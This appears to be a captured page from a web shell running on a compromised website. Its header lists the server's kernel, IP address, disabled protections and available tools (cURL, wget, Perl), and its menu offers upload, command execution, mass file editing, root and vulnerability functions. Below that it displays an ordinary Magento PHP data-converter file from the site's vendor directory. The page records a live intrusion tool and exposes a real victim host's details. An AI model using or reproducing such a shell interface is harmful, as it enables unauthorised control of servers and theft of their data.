Kernel : Linux vmw02p.internet-indee.net 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Tue Nov 16 14:42:35 UTC 2021 x86_64
Disable function : NONE
Safe mode : OFF
Host : firofichi.it | Server ip : 5.196.164.15 | Your ip : 3.142.171.160 | Time @ Server : 19 Oct 2024 05:32:27
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/webmaster/firofichi/www/vendor/magento/framework/Api/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/webmaster/firofichi/www/vendor/magento/framework/Api/SimpleDataObjectConverter.php

<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\Api; use Magento\Framework\Convert\ConvertArray; use Magento\Framework\Reflection\DataObjectProcessor; /** * Data object converter. */ class SimpleDataObjectConverter { /** * @var DataObjectProcessor */ protected $dataObjectProcessor; /** * @param DataObjectProcessor $dataObjectProcessor */ public function __construct(DataObjectProcessor $dataObjectProcessor) { $this->dataObjectProcessor = $dataObjectProcessor; } /** * Convert nested array into flat array. * * @param ExtensibleDataInterface $dataObject * @param string $dataObjectType * @return array */ public function toFlatArray(ExtensibleDataInterface $dataObject, $dataObjectType = null) { if ($dataObjectType === null) { $dataObjectType = get_class($dataObject); } $data = $this->dataObjectProcessor->buildOutputDataArray($dataObject, $dataObjectType); return ConvertArray::toFlatArray($data); } /** * Convert keys to camelCase * * @param array $dataArray * @return \stdClass */ public function convertKeysToCamelCase(array $dataArray) { $response = []; if (isset($dataArray[AbstractExtensibleObject::CUSTOM_ATTRIBUTES_KEY])) { $dataArray = ExtensibleDataObjectConverter::convertCustomAttributesToSequentialArray($dataArray); } foreach ($dataArray as $fieldName => $fieldValue) { if (is_array($fieldValue) && !$this->_isSimpleSequentialArray($fieldValue)) { $fieldValue = $this->convertKeysToCamelCase($fieldValue); } $fieldName = lcfirst(str_replace('_', '', ucwords($fieldName, '_'))); $response[$fieldName] = $fieldValue; } return $response; } /** * Check if the array is a simple(one dimensional and not nested) and a sequential(non-associative) array * * @param array $data * @return bool */ protected function _isSimpleSequentialArray(array $data) { foreach ($data as $key => $value) { if (is_string($key) || is_array($value)) { return false; } } return true; } /** * Convert multidimensional object/array into multidimensional array of primitives. * * @param object|array $input * @param bool $removeItemNode Remove Item node from arrays if true * @return array * @throws \InvalidArgumentException * @SuppressWarnings(PHPMD.NPathComplexity) * @SuppressWarnings(PHPMD.CyclomaticComplexity) */ public function convertStdObjectToArray($input, $removeItemNode = false) { if (!is_object($input) && !is_array($input)) { throw new \InvalidArgumentException("Input argument must be an array or object"); } // @codingStandardsIgnoreStart if ($removeItemNode && (isset($input->item) || isset($input->Map))) { $node = isset($input->item) ? $input->item : $input->Map; /** * In case when only one Data object value is passed, it will not be wrapped into a subarray * within any additional node. If several Data object values are passed, they will be wrapped into * an indexed array within item or Map node. */ $input = is_object($node) ? [$node] : $node; } // @codingStandardsIgnoreEnd $result = []; foreach ((array)$input as $key => $value) { if (is_object($value) || is_array($value)) { $result[$key] = $this->convertStdObjectToArray($value, $removeItemNode); } else { $result[$key] = $value; } } return $this->_unpackAssociativeArray($result); } /** * Unpack associative array packed by SOAP server into key-value * * @param mixed $data * @return array Unpacked associative array if array was passed as argument or original value otherwise */ protected function _unpackAssociativeArray($data) { if (!is_array($data)) { return $data; } else { foreach ($data as $key => $value) { if (is_array($value) && count($value) == 2 && isset($value['key']) && isset($value['value'])) { $data[$value['key']] = $this->_unpackAssociativeArray($value['value']); unset($data[$key]); } else { $data[$key] = $this->_unpackAssociativeArray($value); } } return $data; } } /** * Converts an input string from snake_case to upper CamelCase. * * @param string $input * @return string */ public static function snakeCaseToUpperCamelCase($input) { return str_replace('_', '', ucwords($input, '_')); } /** * Converts an input string from snake_case to camelCase. * * @param string $input * @return string */ public static function snakeCaseToCamelCase($input) { return lcfirst(self::snakeCaseToUpperCamelCase($input)); } /** * Convert a CamelCase string read from method into field key in snake_case * * For example [DefaultShipping => default_shipping, Postcode => postcode] * * @param string $name * @return string */ public static function camelCaseToSnakeCase($name) { return strtolower(preg_replace('/(.)([A-Z])/', "$1_$2", $name)); } }